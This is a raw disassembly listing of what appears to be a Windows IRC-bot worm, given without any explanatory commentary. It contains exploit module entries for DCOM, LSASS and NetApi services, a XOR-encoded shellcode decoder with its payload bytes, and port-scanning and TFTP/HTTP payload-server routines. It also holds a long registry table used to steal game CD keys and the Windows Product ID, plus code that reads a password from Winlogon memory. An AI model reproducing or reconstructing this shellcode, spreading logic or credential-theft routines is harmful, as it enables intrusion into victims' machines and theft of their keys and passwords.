aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_407767+169o db 2 dup(0) aDcom135 db 'Dcom135',0 ; DATA XREF: ___:00405361o align 4 dd 5 dup(0) dword_42ACB0 dd 87h ; DATA XREF: sub_407110+1Er ; sub_40EE72+30B5r ... off_42ACB4 dd offset sub_402DD7 ; DATA XREF: sub_407767+1EAr dword_42ACB8 dd 0 ; DATA XREF: sub_402DD7+2E1w ; sub_402DD7+2E7r ... dword_42ACBC dd 1 ; DATA XREF: sub_407252+1Fr dword_42ACC0 dd 0 ; DATA XREF: sub_407252:loc_4074C3r aDcom445 db 'dcom445',0 dd 63440000h, 34346D6Fh, 35h, 5 dup(0) dd 1BDh, 402DD7h, 0 dd 1, 0 aDcom1025 db 'dcom1025',0 align 2 aDcom1025_0 db 'Dcom1025',0 align 4 dd 5 dup(0) dd 401h, 402DD7h, 0 dd 1, 0 aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h dd 353331h, 5 dup(0) dd 87h, 403688h, 0 dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h dd 393331h, 5 dup(0) dd 8Bh, 403688h, 0 dd 2 dup(1), 346E7361h, 3534h, 73610000h, 6D73316Eh, 62h dd 5 dup(0) dd 1BDh, 40428Fh, 0 dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 40428Fh, 0 dd 2 dup(1), 6970616Eh, 353434h, 656E0000h, 69706174h dd 353434h, 5 dup(0) dd 1BDh, 404F42h, 2 dup(0) dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h, 393331h dd 5 dup(0) dd 8Bh, 404F42h, 2 dup(0) dd 1, 6D7973h, 0 dd 79730000h, 746E616Dh, 6365h, 5 dup(0) dd 0B97h, 405088h, 0 dd 1, 0 dd 636874h, 0 dd 68540000h, 6C717363h, 6 dup(0) dd 599h, 40527Eh, 0 ; CODE XREF: sub_42AF96:loc_42AFABj dd 1, 10h dup(0) ; --------------------------------------------------------------------------- jmp short loc_42AFA6 ; =============== S U B R O U T I N E ======================================= sub_42AF96 proc near ; CODE XREF: sub_42AF96:loc_42AFA6p pop edx dec edx xor ecx, ecx mov cx, 166h loc_42AF9E: ; CODE XREF: sub_42AF96+Cj xor byte ptr [edx+ecx], 99h loop loc_42AF9E jmp short loc_42AFAB ; --------------------------------------------------------------------------- loc_42AFA6: ; CODE XREF: ___:0042AF94j call sub_42AF96 loc_42AFAB: ; CODE XREF: sub_42AF96+Ej jo short near ptr dword_42AF44+2 cwde cdq cdq retn sub_42AF96 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_407110+42o align 4 unk_42B134 db 2 ; DATA XREF: sub_407110+11o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_42B168 db 2 ; DATA XREF: sub_4071DB+42o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_42B198 db 2 ; DATA XREF: sub_4071DB+2Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 unk_42B1C8 db 2 ; DATA XREF: sub_407252+36Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 unk_42B20C db 2 ; DATA XREF: sub_407252+307o ; sub_40EE72+54B9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dword_42B258 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+267o dd 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 4 dword_42B298 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+1FAo dd 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 unk_42B2E8 db 2 ; DATA XREF: sub_407252+149o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_1 db ' Failed to start server, error: <%d>.',0 unk_42B328 db 2 ; DATA XREF: sub_407252+DBo ; sub_40EE72+5343o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40762E+38o ; sub_40AEE0+46o unk_42B384 db 2 ; DATA XREF: sub_407767+EEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_42B3BC db 2 ; DATA XREF: sub_407767+93o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_42B408 db 2 ; DATA XREF: sub_40797F+1CEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_42B45C db 2 ; DATA XREF: sub_40797F+173o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_42B4A8 db 2 ; DATA XREF: sub_40797F+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h unk_42B4F0 db 2 ; DATA XREF: sub_40797F+87o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 4 unk_42B538 db 2 ; DATA XREF: sub_407BDE+156o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 unk_42B584 db 2 ; DATA XREF: sub_407BDE+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B5DC db 2 ; DATA XREF: ___:00407F10o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 unk_42B62C db 2 ; DATA XREF: ___:00407E47o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_42B680 db 2 ; DATA XREF: sub_407FEA+1B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_4 db 'Failed to start server on Port %d.',0 align 10h unk_42B6C0 db 2 ; DATA XREF: sub_407FEA+18Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0 unk_42B708 db 2 ; DATA XREF: sub_407FEA+114o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B75C db 2 ; DATA XREF: sub_407FEA+A8o ; sub_40EE72+5E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStarte_1 db 'Server started on: %s:%d.',0 align 4 unk_42B794 db 2 ; DATA XREF: sub_407FEA+3FEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 unk_42B7E4 db 2 ; DATA XREF: sub_407FEA+38Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 unk_42B830 db 2 ; DATA XREF: sub_407FEA+2F7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4085B3+11o aWindow db 'Window',0 ; DATA XREF: sub_4087EE+23o ; sub_4089E7+26o align 10h dd 80000001h off_42B894 dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr ; sub_408C26+21o ; "Software\\Valve\\CounterStrike\\Settings" ; --------------------------------------------------------------------------- push 500042CAh retf 42h ; --------------------------------------------------------------------------- dword_42B8A0 dd 2 dup(0) ; DATA XREF: sub_408C26+26o dd 80000001h, 42CA28h, 42CA1Ch, 42CA0Ch, 2 dup(0) dd 80000001h, 42C9ECh, 42C9E8h, 42C9D4h, 2 dup(0) dd 80000001h, 42C9B0h, 42C9E8h, 42C9A4h, 2 dup(0) dd 80000001h, 42C980h, 42C978h, 42C964h, 2 dup(0) dd 80000001h, 42C950h, 42C940h, 42C924h, 2 dup(0) dd 80000001h, 42C8E0h, 42CA68h, 42C8CCh, 2 dup(0) dd 80000002h, 42C8A0h, 42C894h, 42C874h, 2 dup(0) dd 80000002h, 42C840h, 42CA68h, 42C828h, 2 dup(0) dd 80000002h, 42C7F4h, 42CA68h, 42C7DCh, 2 dup(0) dd 80000002h, 42C7C4h, 42CA68h, 42C7ACh, 2 dup(0) dd 80000002h, 42C770h, 43C80Ch, 42C760h, 2 dup(0) dd 80000002h, 42C728h, 43C80Ch, 42C714h, 2 dup(0) dd 80000002h, 42C6C8h, 43C80Ch, 42C6A8h, 2 dup(0) dd 80000002h, 42C658h, 43C80Ch, 42C62Ch, 2 dup(0) dd 80000002h, 42C5F0h, 43C80Ch, 42C5DCh, 2 dup(0) dd 80000002h, 42C5A4h, 43C80Ch, 42C594h, 2 dup(0) dd 80000002h, 42C544h, 43C80Ch, 42C518h, 2 dup(0) dd 80000002h, 42C4D8h, 43C80Ch, 42C4BCh, 2 dup(0) dd 80000002h, 42C48Ch, 43C80Ch, 42C46Ch, 2 dup(0) dd 80000002h, 42C430h, 43C80Ch, 42C41Ch, 2 dup(0) dd 80000002h, 42C3D4h, 43C80Ch, 42C3B4h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_42C360[eax], al or al, 0C8h inc ebx add [eax], dh retn ; --------------------------------------------------------------------------- dw 42h dd 2 dup(0) dd 80000002h, 42C2E0h, 43C80Ch, 42C2B4h, 2 dup(0) dd 80000002h, 42C274h, 42C26Ch, 42C24Ch, 2 dup(0) dd 80000002h, 42C208h, 43C80Ch, 42C1ECh, 2 dup(0) dd 80000002h, 42C1A0h, 43C80Ch, 42C17Ch, 2 dup(0) dd 80000002h, 42C148h, 43C80Ch, 42C13Ch, 2 dup(0) dd 80000002h, 42C108h, 43C80Ch, 42C0FCh, 2 dup(0) dd 80000002h, 42C0C8h, 43C80Ch, 42C0BCh, 2 dup(0) dd 80000002h, 42C088h, 43C80Ch, 42C07Ch, 2 dup(0) dd 80000002h, 42C040h, 43C80Ch, 42C02Ch, 2 dup(0) dd 80000002h, 42BFF0h, 43C80Ch, 42BFDCh, 2 dup(0) dd 80000002h, 42BFACh, 42CA68h, 42BF90h, 2 dup(0) dd 80000002h, 42BF70h, 42BF68h, 42BF44h, 2 dup(0) dd 80000002h, 42BF28h, 42BF68h, 42BF08h, 2 dup(0) dd 80000002h, 42BEE8h, 42BF68h, 42BEC4h, 2 dup(0) dd 80000002h, 42BEACh, 42BF68h, 42BEA8h, 2 dup(0) dd 80000002h, 42BE8Ch, 42BE7Ch, 42BE74h, 2 dup(0) dd 80000002h, 42BE40h, 42BE3Ch, 42BE24h, 2 dup(0) dd 80000002h, 42BDE8h, 42BDDCh, 42BDB4h, 42BDA4h, 42BD90h dd 80000002h, 42BD6Ch, 42BD60h, 42BD4Ch, 42BD3Ch, 42BD34h dd 80000002h, 42BD6Ch, 42BD60h, 42BD08h, 42BD3Ch, 42BD00h dd 80000002h, 42BD6Ch, 42BD60h, 42BCD0h, 42BD3Ch, 42BCC8h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 ; DATA XREF: ___:004312F0o db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 10h db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 10h db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 10h db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 10h aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h byte_42C360 db 53h ; DATA XREF: ___:0042BAA2w aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 10h db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 10h db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 10h db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aCustomernumber db 'CustomerNumber',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 aCdkey db 'CDKey',0 align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o align 4 asc_42CA98: ; DATA XREF: sub_408C26+E9o ; sub_408C26+F4o unicode 0, <=>,0 aR: ; DATA XREF: sub_408C26+8Fo ; sub_40EE72:loc_413645o unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_408C26+7Eo ; sub_408EE5+45o ... align 4 aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo align 4 unk_42CABC db 2 ; DATA XREF: sub_408DCA+C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_42CAEC db 2 ; DATA XREF: sub_408DCA+5Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408EE5+107o align 4 aS_3 db '%s\*',0 ; DATA XREF: sub_408EE5+1Ao align 4 unk_42CB3C db 2 ; DATA XREF: sub_409037:loc_4091B0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToEnable db ' Failed to enable Debug Privilege.',0 align 10h unk_42CB80 db 2 ; DATA XREF: sub_409037:loc_409183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindWi db ' Unable to find Winlogon Process ID.',0 unk_42CBC4 db 2 ; DATA XREF: sub_409037:loc_40917Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindTh db ' Unable to find the password in memory.',0 align 4 unk_42CC0C db 2 ; DATA XREF: sub_409037+117o db 6Eh, 2, 7Ah db 1Fh db 